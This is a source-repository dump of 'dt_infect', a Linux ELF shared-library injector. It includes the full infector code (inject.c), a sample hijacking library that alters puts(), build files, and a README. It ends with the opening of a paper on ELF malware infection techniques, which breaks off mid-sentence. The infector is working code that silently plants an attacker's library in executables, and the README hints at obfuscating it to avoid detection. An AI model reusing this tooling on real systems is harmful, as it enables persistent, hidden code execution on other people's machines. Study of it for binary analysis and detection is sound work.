├── dt_infect ├── Makefile ├── README.md ├── evil.c ├── inject.c └── test.c ├── scop_infection_paper.txt └── scop_infector ├── Makefile ├── README.md ├── egg.c └── scop_infector.c /dt_infect/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -g inject.c /opt/elfmaster/lib/libelfmaster.a -o inject 3 | gcc -no-pie test.c -o test 4 | gcc -c -fpic evil.c 5 | gcc -shared -o libevil.so evil.o -ldl 6 | clean: 7 | rm -f inject test 8 | -------------------------------------------------------------------------------- /dt_infect/README.md: -------------------------------------------------------------------------------- 1 | # dt_infect v1.0 2 | ``` 3 | Author: ElfMaster 2/15/19 - ryan@bitlackeys.org 4 | 5 | ELF Shared library injector using DT_NEEDED precedence infection. Acts as a permanent LD_PRELOAD 6 | 7 | NOTE: It does not work on PIE executables because it uses a reverse text padding infection to create room 8 | for .dynstr. This could be replaced with a text padding infection, or a PT_NOTE to PT_LOAD conversion 9 | infection in order to store the .dynstr; then it would be compatible with PIE executables. 10 | 11 | # Build 12 | git clone https://github.com/elfmaster/libelfmaster 13 | cd libelfmaster; make; sudo make install 14 | https://github.com/elfmaster/dt_infect/issues 15 | # Example 16 | 17 | -- Run test before it is infected 18 | 19 | $ ./test 20 | Don't infect me please 21 | 22 | -- Then inject libevil.so into test and hijack puts() 23 | 24 | $ make 25 | $ ./inject libevil.so test 26 | Updating .dynstr section 27 | Modified d_entry.value of DT_STRTAB to: 3ff040 (index: 9) 28 | Successfully injected 'libevil.so' into target: 'test'. Make sure to move 'libevil.so' into one of the shared object search paths, i.e. /lib/x86_64-gnu-linux/ 29 | $ readelf -d test | grep NEEDED 30 | 0x0000000000000001 (NEEDED) Shared library: [libevil.so] 31 | 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 32 | $ ./test 33 | D0n'7 1nf3c7 m3 pl3453 34 | 35 | # Further work with obfuscation 36 | 37 | I will give a hint, since adding this extra layer of obfuscation will make this DT_NEEDED 38 | much harder to detect... but there are several pieces of software out there that can obfuscate 39 | the dynamic string table, which will prevent DT_NEEDED from showing up. The simplest formula 40 | is to zero out .dynstr in the target binary, and inject some constructor code that replaces it 41 | at runtime. @ulexec wrote a much better one that uses a custom runtime resolver. 42 | ``` 43 | 44 | -------------------------------------------------------------------------------- /dt_infect/evil.c: -------------------------------------------------------------------------------- 1 | /* 2 | * l33t sp34k version of puts() for DT_NEEDED .so injection 3 | * elfmaster 2/15/2019 4 | */ 5 | #define _GNU_SOURCE 6 | #include 7 | 8 | /* 9 | * This code is a l33t sp34k version of puts 10 | */ 11 | 12 | long _write(long, char *, unsigned long); 13 | 14 | char _toupper(char c) 15 | { 16 | if( c >='a' && c <= 'z') 17 | return (c = c +'A' - 'a'); 18 | return c; 19 | } 20 | 21 | void ___memset(void *mem, unsigned char byte, unsigned int len) 22 | { 23 | unsigned char *p = (unsigned char *)mem; 24 | int i = len; 25 | while (i--) { 26 | *p = byte; 27 | p++; 28 | } 29 | } 30 | 31 | int puts(const char *string) 32 | { 33 | char *s = (char *)string; 34 | char new[1024]; 35 | int index = 0; 36 | 37 | int (*o_puts)(const char *); 38 | 39 | o_puts = (int (*)(const char *))dlsym(RTLD_NEXT, "puts"); 40 | 41 | ___memset(new, 0, 1024); 42 | while (*s != '\0' && index < 1024) { 43 | switch(_toupper(*s)) { 44 | case 'I': 45 | new[index++] = '1'; 46 | break; 47 | case 'E': 48 | new[index++] = '3'; 49 | break; 50 | case 'S': 51 | new[index++] = '5'; 52 | break; 53 | case 'T': 54 | new[index++] = '7'; 55 | break; 56 | case 'O': 57 | new[index++] = '0'; 58 | break; 59 | case 'A': 60 | new[index++] = '4'; 61 | break; 62 | default: 63 | new[index++] = *s; 64 | break; 65 | } 66 | s++; 67 | } 68 | 69 | return o_puts((char *)new); 70 | } 71 | -------------------------------------------------------------------------------- /dt_infect/inject.c: -------------------------------------------------------------------------------- 1 | /* 2 | * DT_inject - Shared library injector using DT_NEEDED infection 3 | * 4 | * DT_NEEDED infector: Shifts DT_NEEDED entries forward and creates one that 5 | * takes precedence over others. This acts as a sort of static LD_PRELOAD i.e. 6 | * if you create you create a function called void puts(const char *s) in your 7 | * injected library, it will hijack the puts() function from libc.so by taking 8 | * precedence in the dynamic linkers order of resolution. If for some rare 9 | * occurrence there is not enough padding space after .dynamic to create any 10 | * extra dynamic segment entries, it will overwrite DT_DEBUG with DT_NEEDED 11 | * (Which is a bit easier to detect) Disclaimer: For educational purposes only. 12 | * I, Ryan O'Neill, take no responsibility for what this software is used for. 13 | 14 | * git clone https://github.com/elfmaster/libelfmaster 15 | * cd libelfmaster; make; sudo make install 16 | * cd 17 | * make 18 | * sudo cp .so /lib/x86_64/ 19 | * ./inject .so 20 | * readelf -d to observe the DT_NEEDED entry 21 | * 22 | * Author: Elfmaster - 2/13/19 23 | */ 24 | 25 | #define _GNU_SOURCE 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #include "/opt/elfmaster/include/libelfmaster.h" 40 | 41 | #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095) 42 | 43 | #define PT_PHDR_INDEX 0 44 | #define PT_INTERP_INDEX 1 45 | 46 | #define TMP "xyz.tmp" 47 | 48 | bool dt_debug_method = false; 49 | bool calculate_new_dynentry_count(elfobj_t *, uint64_t *, uint64_t *); 50 | 51 | /* 52 | * arg1: target elf object 53 | * arg2: string name, i.e. "evil.so" 54 | * arg3: address of .dynstr (Which is now in a different location) 55 | * arg4: offset of "evil.so" within .dynstr 56 | */ 57 | bool 58 | modify_dynamic_segment(elfobj_t *target, uint64_t dynstr_vaddr, 59 | uint64_t evil_offset) 60 | { 61 | bool use_debug_entry = false; 62 | bool res; 63 | uint64_t dcount, dpadsz, index; 64 | uint64_t o_dcount = 0, d_index = 0, dt_debug_index = 0; 65 | elf_dynamic_entry_t d_entry; 66 | elf_dynamic_iterator_t d_iter; 67 | elf_error_t error; 68 | struct tmp_dtags { 69 | bool needed; 70 | uint64_t value; 71 | uint64_t tag; 72 | TAILQ_ENTRY(tmp_dtags) _linkage; 73 | }; 74 | struct tmp_dtags *current; 75 | TAILQ_HEAD(, tmp_dtags) dtags_list; 76 | TAILQ_INIT(&dtags_list); 77 | 78 | if (calculate_new_dynentry_count(target, &dcount, &dpadsz) == false) { 79 | fprintf(stderr, "Failed to calculate padding size after dynamic section\n"); 80 | return false; 81 | } 82 | if (dcount == 0) { 83 | fprintf(stderr, "Not enough room to shift dynamic entries forward" 84 | ", falling back to overwriting DT_DEBUG with DT_NEEDED\n"); 85 | use_debug_entry = true; 86 | } else if (dt_debug_method == true) { 87 | fprintf(stderr, "Forcing DT_DEBUG overwrite. This technique will not give\n" 88 | "your injected shared library functions precedence over any other libraries\n" 89 | "and will therefore require you to manually overwrite the .got.plt entries to\n" 90 | "point at your custom shared library function(s)\n"); 91 | use_debug_entry = true; 92 | } 93 | elf_dynamic_iterator_init(target, &d_iter); 94 | for (;;) { 95 | res = elf_dynamic_iterator_next(&d_iter, &d_entry); 96 | if (res == ELF_ITER_DONE) 97 | break; 98 | if (res == ELF_ITER_ERROR) { 99 | fprintf(stderr, "elf_dynamic_iterator_next failed\n"); 100 | return false; 101 | } 102 | struct tmp_dtags *n = malloc(sizeof(*n)); 103 | 104 | if (n == NULL) { 105 | perror("malloc"); 106 | return false; 107 | } 108 | n->value = d_entry.value; 109 | n->tag = d_entry.tag; 110 | if (n->tag == DT_DEBUG) { 111 | dt_debug_index = d_index; 112 | } 113 | TAILQ_INSERT_TAIL(&dtags_list, n, _linkage); 114 | d_index++; 115 | } 116 | 117 | /* 118 | * In the following code we modify dynamic segment to look like this: 119 | * Original: DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc. 120 | * Modified: DT_NEEDED: "evil.so", DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc. 121 | * Which acts like a permanent LD_PRELOAD. 122 | * ... 123 | * If there is no room to shift the dynamic entriess forward (Which there in 124 | * general is enough space to add atleast several) then we fall back on a less 125 | * elegant and easier to detect method where we overwrite DT_DEBUG and change 126 | * it to a DT_NEEDED entry. This is easier to detect because of the fact that 127 | * the linker always creates DT_NEEDED entries so that they are contiguous 128 | * whereas in this case the DT_DEBUG that we overwrite is generally about 11 129 | * entries after the last DT_NEEDED entry. 130 | */ 131 | 132 | index = 0; 133 | if (use_debug_entry == false) { 134 | d_entry.tag = DT_NEEDED; 135 | d_entry.value = evil_offset; /* Offset into .dynstr for "evil.so" */ 136 | res = elf_dynamic_modify(target, 0, &d_entry, true, &error); 137 | if (res == false) { 138 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 139 | elf_error_msg(&error)); 140 | return false; 141 | } 142 | index = 1; 143 | } 144 | 145 | TAILQ_FOREACH(current, &dtags_list, _linkage) { 146 | if (use_debug_entry == true && current->tag == DT_DEBUG) { 147 | if (dt_debug_index == 0) { 148 | printf("Could not find DT_DEBUG entry, injection has failed\n"); 149 | return false; 150 | } 151 | printf("%sOverwriting DT_DEBUG at index: %zu\n", 152 | dcount == 0 ? "Falling back to " : "", dt_debug_index); 153 | d_entry.tag = DT_NEEDED; 154 | d_entry.value = evil_offset; 155 | res = elf_dynamic_modify(target, dt_debug_index, &d_entry, true, &error); 156 | if (res == false) { 157 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 158 | elf_error_msg(&error)); 159 | return false; 160 | } 161 | goto next; 162 | } 163 | if (current->tag == DT_STRTAB) { 164 | d_entry.tag = DT_STRTAB; 165 | d_entry.value = dynstr_vaddr; 166 | res = elf_dynamic_modify(target, index, &d_entry, true, &error); 167 | if (res == false) { 168 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 169 | elf_error_msg(&error)); 170 | return false; 171 | } 172 | printf("Modified d_entry.value of DT_STRTAB to: %lx (index: %zu)\n", 173 | d_entry.value, index); 174 | goto next; 175 | } 176 | #if 0 177 | printf("Updating dyn[%zu]\n", index); 178 | #endif 179 | d_entry.tag = current->tag; 180 | d_entry.value = current->value; 181 | res = elf_dynamic_modify(target, index, &d_entry, true, &error); 182 | if (res == false) { 183 | fprintf(stderr, "elf_dynamic_modify failed: %s\n", 184 | elf_error_msg(&error)); 185 | return false; 186 | } 187 | next: 188 | index++; 189 | } 190 | return true; 191 | } 192 | 193 | /* 194 | * This function will tell us how many new ElfN_Dyn entries 195 | * can be added to the dynamic segment, as there is often space 196 | * between .dynamic and the section following it. 197 | */ 198 | bool 199 | calculate_new_dynentry_count(elfobj_t *target, uint64_t *count, uint64_t *size) 200 | { 201 | elf_section_iterator_t s_iter; 202 | struct elf_section section; 203 | size_t len; 204 | size_t dynsz = elf_class(target) == elfclass32 ? sizeof(Elf32_Dyn) : 205 | sizeof(Elf64_Dyn); 206 | uint64_t dyn_offset = 0; 207 | 208 | *count = 0; 209 | *size = 0; 210 | 211 | elf_section_iterator_init(target, &s_iter); 212 | while (elf_section_iterator_next(&s_iter, §ion) == ELF_ITER_OK) { 213 | if (strcmp(section.name, ".dynamic") == 0) { 214 | dyn_offset = section.offset; 215 | } else if (dyn_offset > 0) { 216 | len = section.offset - dyn_offset; 217 | *size = len; 218 | *count = len / dynsz; 219 | return true; 220 | } 221 | } 222 | return false; 223 | } 224 | 225 | int main(int argc, char **argv) 226 | { 227 | uint8_t *mem; 228 | elfobj_t so_obj; 229 | elfobj_t target; 230 | bool res, text_found = false; 231 | elf_segment_iterator_t p_iter; 232 | struct elf_segment segment; 233 | struct elf_section section, dynstr_shdr; 234 | elf_section_iterator_t s_iter; 235 | size_t paddingSize, o_dynstr_size, dynstr_size, ehdr_size, final_len; 236 | uint64_t old_base, new_base, n_dynstr_vaddr, evil_string_offset; 237 | elf_error_t error; 238 | char *evil_lib, *executable; 239 | int fd; 240 | ssize_t b; 241 | 242 | if (argc < 3) { 243 | printf("Usage: %s [-f] \n", argv[0]); 244 | printf("-f Force DT_DEBUG overwrite technique\n"); 245 | exit(0); 246 | } 247 | if (argv[1][0] == '-' && argv[1][1] == 'f') { 248 | dt_debug_method = true; 249 | evil_lib = argv[2]; 250 | executable = argv[3]; 251 | } else { 252 | evil_lib = argv[1]; 253 | executable = argv[2]; 254 | } 255 | res = elf_open_object(executable, &target, 256 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error); 257 | if (res == false) { 258 | fprintf(stderr, "failed to open %s: %s\n", executable, elf_error_msg(&error)); 259 | exit(-1); 260 | } 261 | ehdr_size = elf_class(&target) == elfclass32 ? 262 | sizeof(Elf32_Ehdr) : sizeof(Elf64_Ehdr); 263 | 264 | res = elf_section_by_name(&target, ".dynstr", &dynstr_shdr); 265 | if (res == false) { 266 | perror("failed to find section .dynstr\n"); 267 | exit(-1); 268 | } 269 | paddingSize = PAGE_ALIGN_UP(dynstr_shdr.size); 270 | 271 | res = elf_segment_by_index(&target, PT_PHDR_INDEX, &segment); 272 | if (res == false) { 273 | fprintf(stderr, "Failed to find segment: %d\n", PT_PHDR_INDEX); 274 | goto done; 275 | } 276 | segment.offset += paddingSize; 277 | res = elf_segment_modify(&target, PT_PHDR_INDEX, &segment, &error); 278 | if (res == false) { 279 | fprintf(stderr, "elf_segment_modify failed: %s\n", elf_error_msg(&error)); 280 | goto done; 281 | } 282 | res = elf_segment_by_index(&target, PT_INTERP_INDEX, &segment); 283 | if (res == false) { 284 | printf("Failed to find segment: %d\n", PT_INTERP_INDEX); 285 | goto done; 286 | } 287 | segment.offset += paddingSize; 288 | res = elf_segment_modify(&target, PT_INTERP_INDEX, &segment, &error); 289 | if (res == false) { 290 | printf("elf_segment_modify failed: %s\n", elf_error_msg(&error)); 291 | goto done; 292 | } 293 | printf("Creating reverse text padding infection to store new .dynstr section\n"); 294 | elf_segment_iterator_init(&target, &p_iter); 295 | while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) { 296 | if (text_found == true) { 297 | segment.offset += paddingSize; 298 | res = elf_segment_modify(&target, p_iter.index - 1, 299 | &segment, &error); 300 | if (res == false) { 301 | printf("elf_segment_modify failed: %s\n", 302 | elf_error_msg(&error)); 303 | goto done; 304 | } 305 | } 306 | if (segment.type == PT_LOAD && segment.offset == 0) { 307 | old_base = segment.vaddr; 308 | segment.vaddr -= paddingSize; 309 | segment.paddr -= paddingSize; 310 | segment.filesz += paddingSize; 311 | segment.memsz += paddingSize; 312 | new_base = segment.vaddr; 313 | text_found = true; 314 | res = elf_segment_modify(&target, p_iter.index - 1, 315 | &segment, &error); 316 | if (res == false) { 317 | printf("elf_segment_modify failed: %s\n", 318 | elf_error_msg(&error)); 319 | goto done; 320 | } 321 | } 322 | } 323 | /* Adjust .dynstr so that it points to where the reverse 324 | * text extension is; right after elf_hdr and right before 325 | * the shifted forward phdr table. 326 | * Adjust all other section offsets by paddingSize to shift 327 | * forward beyond the injection site. 328 | */ 329 | elf_section_iterator_init(&target, &s_iter); 330 | while(elf_section_iterator_next(&s_iter, §ion) == ELF_ITER_OK) { 331 | if (strcmp(section.name, ".dynstr") == 0) { 332 | printf("Updating .dynstr section\n"); 333 | section.offset = ehdr_size; 334 | section.address = old_base - paddingSize; 335 | section.address += ehdr_size; 336 | n_dynstr_vaddr = section.address; 337 | evil_string_offset = section.size; 338 | o_dynstr_size = section.size; 339 | section.size += strlen(evil_lib) + 1; 340 | dynstr_size = section.size; 341 | res = elf_section_modify(&target, s_iter.index - 1, 342 | §ion, &error); 343 | } else { 344 | section.offset += paddingSize; 345 | res = elf_section_modify(&target, s_iter.index - 1, 346 | §ion, &error); 347 | } 348 | } 349 | elf_section_commit(&target); 350 | if (elf_class(&target) == elfclass32) { 351 | target.ehdr32->e_shoff += paddingSize; 352 | target.ehdr32->e_phoff += paddingSize; 353 | } else { 354 | target.ehdr64->e_shoff += paddingSize; 355 | target.ehdr64->e_phoff += paddingSize; 356 | } 357 | res = modify_dynamic_segment(&target, n_dynstr_vaddr, evil_string_offset); 358 | if (res == false) { 359 | fprintf(stderr, "modify_dynamic_segment failed\n"); 360 | exit(EXIT_FAILURE); 361 | } 362 | /* 363 | * Write out our new executable with new string table. 364 | */ 365 | fd = open(TMP, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU); 366 | if (fd < 0) { 367 | perror("open"); 368 | exit(EXIT_FAILURE); 369 | } 370 | /* 371 | * Write initial ELF file header 372 | */ 373 | b = write(fd, target.mem, ehdr_size); 374 | if (b < 0) { 375 | perror("write"); 376 | exit(EXIT_FAILURE); 377 | } 378 | /* 379 | * Write out our new .dynstr section into our padding space 380 | */ 381 | b = write(fd, elf_dynstr(&target), o_dynstr_size); 382 | if (b < 0) { 383 | perror("write"); 384 | exit(EXIT_FAILURE); 385 | } 386 | b = write(fd, evil_lib, strlen(evil_lib) + 1); 387 | if (b < 0) { 388 | perror("write"); 389 | exit(EXIT_FAILURE); 390 | } 391 | 392 | if ((b = lseek(fd, ehdr_size + paddingSize, SEEK_SET)) != ehdr_size + paddingSize) { 393 | perror("lseek"); 394 | exit(EXIT_FAILURE); 395 | } 396 | mem = target.mem + ehdr_size; 397 | final_len = target.size - ehdr_size; 398 | b = write(fd, mem, final_len); 399 | if (b != final_len) { 400 | perror("write"); 401 | exit(EXIT_FAILURE); 402 | } 403 | done: 404 | elf_close_object(&target); 405 | rename(TMP, executable); 406 | printf("Successfully injected '%s' into target: '%s'. Make sure to move '%s'" 407 | " into one of the shared object search paths, i.e. /lib/x86_64-gnu-linux/\n", 408 | evil_lib, executable, evil_lib); 409 | exit(EXIT_SUCCESS); 410 | } 411 | -------------------------------------------------------------------------------- /dt_infect/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | printf("I am a host executable for testing purposes\n"); 6 | exit(0); 7 | } 8 | -------------------------------------------------------------------------------- /scop_infection_paper.txt: -------------------------------------------------------------------------------- 1 | Modern day Linux malware infection techniques with ELF 2 | Author: ElfMaster - ryan@bitlackeys.org 3 | 4 | - Introduction 5 | - SCOP Primer 6 | - Code injection techniques 7 | - Traditional text segment padding infection 8 | - Text segment padding infection in SCOP binaries 9 | - Psuedo-Code of SCOP Text segment padding infection 10 | - Traditional reverse text padding infections 11 | - Layout of SCOP program segments 12 | - Qualities of a reverse text padding infection 13 | - SCOP Reverse text infections 14 | - UTI (Ultimate text infection) for SCOP binaries only 15 | - SCOP UTI (Ultimate text infection) algorithm 16 | - Note on resolving the address of Elf_hdr->e_entry in PIE executable's 17 | - Resurrecting the past with DT_NEEDED .so injection techniques 18 | - Example of using dt_infect for shared library injection 19 | - DT_NEEDED infection algorithm for symbol hijacking 20 | 21 | -= 1.0 Introduction 22 | 23 | With the recent introduction of SCOP (Secure code partitioning) security 24 | mitigation, or otherwise known as the 'ld -separate-code' feature there are 25 | naturally going to be some changes in the way ELF segments are parsed, and even 26 | more thought provoking is how malware authors will infect them. In addition to 27 | SCOP infections we will be exploring philosophies around traditional infection 28 | techniques and even discuss a lost technique for shared library injection via 29 | DT_NEEDED. All of the code in this paper uses libelfmaster [9] for portable 30 | design, convenience and portability. Lets explore a quick primer to SCOP 31 | executables before jumping right into the Malware techniques. 32 | 33 | -= 1.1 SCOP Primer 34 | 35 | A SCOP binary, termed "SCOP" from the publication [1] is an ELF executable that 36 | has been linked with the ld(1) separate-code option in more recent versions of 37 | ld(1). SCOP binaries are becoming the norm on modern Linux OS's, and already 38 | the standard in several distributions such as lubuntu 18. The general idea is 39 | that the text (code) segment is typically only a single segment described by a 40 | single PT_LOAD segment that is typically marked with R+X permissions. There are 41 | many areas within an executable that must be read-only, such as the .rodata 42 | section, but do not require execution. On average there are about 18 sections 43 | within the text segment and only 4 of which require execution. Therefore the 44 | remaining 14 sections are executable in memory, though they only require read 45 | access. An astute security researcher would recognize that this exposes a 46 | larger attack surface for ROP gadgets. A quick scan with ROP gadget scanning 47 | tools such as [10] will show you that there are useable gadgets that exist 48 | within sections holding relocation, symbol, note, version, and string data. The 49 | software devs who work on ld(1) realized that it made alot of sense to add a 50 | feature to the linker that assigns read-only sections into read-only PT_LOAD 51 | segments, and read+execute sections into a single read+execute PT_LOAD segment. 52 | Only 4 sections (on average) require execution: .init, .plt, .text, .fini. 53 | This results in an executable with a text segment that is broken up into 3 54 | segments, and reduces the ROP gadget attack surface. SCOP binaries are 55 | dissected in the suggested pre-requisite reading [1]. We also explore SCOP 56 | throughout this paper which highlights some nuances that are not covered in [1] 57 | but are relevant when infecting SCOP executables. 58 | 59 | -= 1.2 A quick primer on the text segment layout 60 | 61 | In traditional executables the loadable segments tradtionally look 62 | like the ascii illustration 1.0 below. 63 | 64 | -Illustration 1.0 65 | PT_LOAD 0 PT_LOAD 1 66 | [text_segment(R+X)][data_segment(R+W)] 67 | 68 | The readonly data which doesn't require execution, again, are stored in the 69 | read-only part of the executable known as the text segment. 70 | If one gives a close observation it becomes quickly apparent that there are 71 | only four or five sections in the text segment that actually require execution, 72 | and the linker marks them respectively with the sh_flags value being set to 73 | SHF_ALLOC|SHF_EXECINSTR, whereas the sections that are read-only are marked as 74 | SHF_ALLOC, meaning they are allocated into memory, and that's it. 75 | 76 | Here is the output of 'readelf -S' on a traditional 32bit executable, we 77 | examine only the sections that are in the text segment, I have truncated the 78 | rest of the output. 79 | 80 | [ 0] NULL 00000000 000000 000000 00 0 0 0 81 | [ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1 82 | [ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4 83 | [ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4 84 | [ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000020 04 A 5 0 4 85 | [ 5] .dynsym DYNSYM 080481cc 0001cc 000060 10 A 6 1 4 86 | [ 6] .dynstr STRTAB 0804822c 00022c 000050 00 A 0 0 1 87 | [ 7] .gnu.version VERSYM 0804827c 00027c 00000c 02 A 5 0 2 88 | [ 8] .gnu.version_r VERNEED 08048288 000288 000020 00 A 6 1 4 89 | [ 9] .rel.dyn REL 080482a8 0002a8 000008 08 A 5 0 4 90 | [10] .rel.plt REL 080482b0 0002b0 000018 08 AI 5 23 4 91 | [11] .init PROGBITS 080482c8 0002c8 000023 00 AX 0 0 4 92 | [12] .plt PROGBITS 080482f0 0002f0 000040 04 AX 0 0 16 93 | [13] .plt.got PROGBITS 08048330 000330 000008 08 AX 0 0 8 94 | [14] .text PROGBITS 08048340 000340 0001c2 00 AX 0 0 16 95 | [15] .fini PROGBITS 08048504 000504 000014 00 AX 0 0 4 96 | [16] .rodata PROGBITS 08048518 000518 00000f 00 A 0 0 4 97 | [17] .eh_frame_hdr PROGBITS 08048528 000528 00003c 00 A 0 0 4 98 | [18] .eh_frame PROGBITS 08048564 000564 0000fc 00 A 0 0 4 99 | 100 | 101 | Notice that only five sections are requiring execution, the rest are set to 102 | SHF_ALLOC ('A') or in the case of '.rel.plt.' SHF_ALLOC|SHF_INFO_LINK ('AI') 103 | which indicates that the sh_info member links to another section. Now for those 104 | who don't have a full grasp of the ELF format, remember that these section 105 | permissions are only useful for linking and debugging code at best; however as 106 | demonstrated in the parsing support for SCOP binaries that we recently merged 107 | into libelfmaster [9] we observed that the section headers are very useful when 108 | heuristically analyzing SCOP binaries with LOAD segments that have had their 109 | p_flags (Memory permissions) modified such as with various infection methods. 110 | While parsing hostile or tampered SCOP binaries we can compare the sh_flags of 111 | allocated sections with the p_flags of the corresponding PT_LOAD segments. If 112 | the permissions are consistent accross both sh_flags and p_flags then the SCOP 113 | binary is very likely untampered. The important thing to note here is that the 114 | section header sh_flags directly correlate to how the executable is divided 115 | into corresponding segments with equivalent p_flags. 116 | 117 | NOTE: The astute reader may realize that its possible for an attacker to modify 118 | the section header sh_flags to reflect the program header p_flags. 119 | 120 | With SCOP binaries which are illustrated in [1] we no longer have the convention 121 | of a single LOAD segment for the text image. Afterall, why store read-only code 122 | in an executable region when it may contain ROP gadgets? This was a smart move 123 | by the GNU ld(1) developers. ELF illustration 1.1 shows what a SCOP 124 | binary looks like from the perspective of the program headers. 125 | 126 | -Illustration 1.1 127 | 128 | PT_LOAD 0 PT_LOAD 1 PT_LOAD 2 PT_LOAD 3 129 | [text_segment(R)][text_segment(R+X)][text_segment(R)][data segment(R+W)] 130 | 131 | -= 1.3 Code injection techniques 132 | 133 | I see several ways to instrument the binary with a chunk of additional 134 | executable code, while still keeping the ELF headers in-tact. First though 135 | let us discuss very briefly some of the existing infection techniques that 136 | we used, and are discussed in great depth in [2] and [3] 137 | 138 | -= 2.0 Traditional Text segment padding infection 139 | 140 | This infection relies on the fact that the text and data segment are flush 141 | against eachother on disk, but since the p_vaddr must be congruent with the 142 | p_offset modulo PAGE_SIZE, we must first extend the p_filesz/p_memsz of the 143 | text segment, and then adjust the p_offset's of the subsequent segments by 144 | shifting forward a PAGE_SIZE, i.e. p_offset += 4096. Please note that this does 145 | not mean that there will be 4096 bytes of useable space for the parasite code, 146 | it means that there will be (data[PT_LOAD].p_vaddr & ~4095) - (text[PT_LOAD].p_vaddr + 147 | text[PT_LOAD].p_memsz); However this limitation is more relevant on 32bit 148 | systems. On x86_64 we can shift the p_offset's that follow the text segment 149 | forward by (parasite_size + 4095 & ~4095) bytes, extending further due to the 150 | fact that x86_64 architecture uses HUGE_PAGES for the elfclass64 binaries 151 | which are 0x200000 bytes in size. 152 | 153 | This technique was first conceived (Or atleast published) by Silvio Cesare and 154 | it was brilliant research that impacted me greatly, inspiring my passion as I 155 | delved into the esoteric world of binary formats, and how to meticulously 156 | modify their structure without breaking the format specification that the 157 | kernel requires to be in-tact. 158 | 159 | The following illustration shows a traditional text segment padding infection 160 | on disk. 161 | 162 | -Illustration 2.0 163 | 164 | [ehdr][phdr][text:parasite_size_extension(R+X)][data(R+W)] 165 | 166 | -= 2.1 Layout of SCOP program segments 167 | 168 | This hardly poses a challenge to the adept binary hacker. After a brief glance 169 | at the program header table on a SCOP binary we see that the same specification 170 | rules exist, and that there is HUGE_PAGE's being used allowing for much larger 171 | infection sizes on 64bit. 172 | 173 | LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 174 | 0x00000000000004d0 0x00000000000004d0 R 0x200000 175 | LOAD 0x0000000000200000 0x0000000000600000 0x0000000000600000 176 | 0x000000000000021d 0x000000000000021d R E 0x200000 177 | LOAD 0x0000000000400000 0x0000000000800000 0x0000000000800000 178 | 0x0000000000000148 0x0000000000000148 R 0x200000 179 | 180 | -= 2.1.2 SCOP Program segments as displayed in /proc//maps 181 | 182 | 00400000-00401000 r--p 00000000 fd:01 3540930 test_scop_binary 183 | 00600000-00601000 r-xp 00200000 fd:01 3540930 test_scop_binary 184 | 00800000-00801000 r--p 00400000 fd:01 3540930 test_scop_binary 185 | 186 | The text segment is broken up into 3 diferent memory mappings. The end of the 187 | executable mapping (Which is PT_LOAD[1]) is at 0x601000. This virtual address 188 | that begins the 3rd text segment (PT_LOAD[2]) is at 0x8000000, which leaves 189 | quite a bit of space for infection in general. For injections that require 190 | arbitrary length infections there are alternative solutions; see [4] and [5] 191 | which use PT_NOTE to PT_LOAD conversions. 192 | 193 | -= 2.2 Text segment padding infection in SCOP binaries 194 | 195 | The algorithm used for the existing technique is similar to the original 196 | text segment padding infection except that all phdr->p_offset's after the 197 | first executable LOAD segment: PT_LOAD[1] are adjusted instead of all 198 | phdr->p_offset's after PT_LOAD[0]. 199 | 200 | Using an example with libelfmaster we will demonstrate the algorithm for 201 | infecting both types of binaries; those which are linked with SCOP and those 202 | that are more traditional. This should detail the algorithm enough so that 203 | malware authors, virus enthusiasts, and reverse engineers from all walks can 204 | begin infecting SCOP binaries with the historical and brilliant text segment 205 | padding infection conceived by Silvio [3]. 206 | 207 | NOTE: libelfmaster has some API functions specifically for handling the text segment 208 | in SCOP binaries: elf_scop_text_filesz, elf_executable_text_base, 209 | elf_executable_text_offset. These are different than the traditional API 210 | functions we also have available: elf_text_filesz, elf_text_base, 211 | elf_text_offset. 212 | 213 | Since this type of infection is well explored and the difference in approach 214 | is so subtle, I have given an example of some un-tested code shown below that 215 | demonstrates how a text segment padding infection [3] would look. Do not fret 216 | though, in section 3.4 we give the source code for a totally new type of 217 | ELF infection that is specific to SCOP binaries. 218 | 219 | -= 2.3 Psuedo Example of SCOP Text segment pdading infection 220 | 221 | ... main function, etc. ... 222 | 223 | struct elf_segment segment; 224 | elf_segment_iterator_t p_iter; 225 | elfobj_t obj; 226 | bool res, found_text = false; 227 | uint64_t text_vaddr, parasite_vaddr; 228 | size_t parasite_size = SOME_VALUE; 229 | 230 | res = elf_open_object(argv[1], &obj, 231 | ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error); 232 | if (res == false) { 233 | printf("failed: %s\n", elf_error_msg(&error)); 234 | exit(EXIT_FAILURE); 235 | } 236 | elf_segment_iterator_init(&obj, &p_iter); 237 | while (elf_segment_iterator_next(&p_iter, &segment) != NULL) { 238 | if (elf_flags(&obj, ELF_SCOP_F) == true) { 239 | /* 240 | * elf_executable_text_base() will return the value 241 | * of PT_LOAD[1] since it is the part of the text 242 | * segments that have executable permissions. 243 | */ 244 | if (segment.vaddr == (text_vaddr = elf_executable_text_base(&obj))) { 245 | struct elf_segment new_text; 246 | uint64_t parasite_vaddr, old_e_entry, end_of_text; 247 | 248 | parasite_vaddr = segment.vaddr + segment.filesz; 249 | old_e_entry = elf_entry_point(&obj); 250 | end_of_text = segment.offset + segment.filesz; 251 | memcpy(&new_text, &segment, sizeof(segment)); 252 | new_text.filesz += parasite_size; 253 | new_text.memsz += parasite_size; 254 | elf_segment_modify(&obj, p_iter.index - 1, &new_text, 255 | &error); 256 | found_text = true; 257 | } else { /* If this is not a SCOP binary then we just look for the 258 | * text segment by finding the first 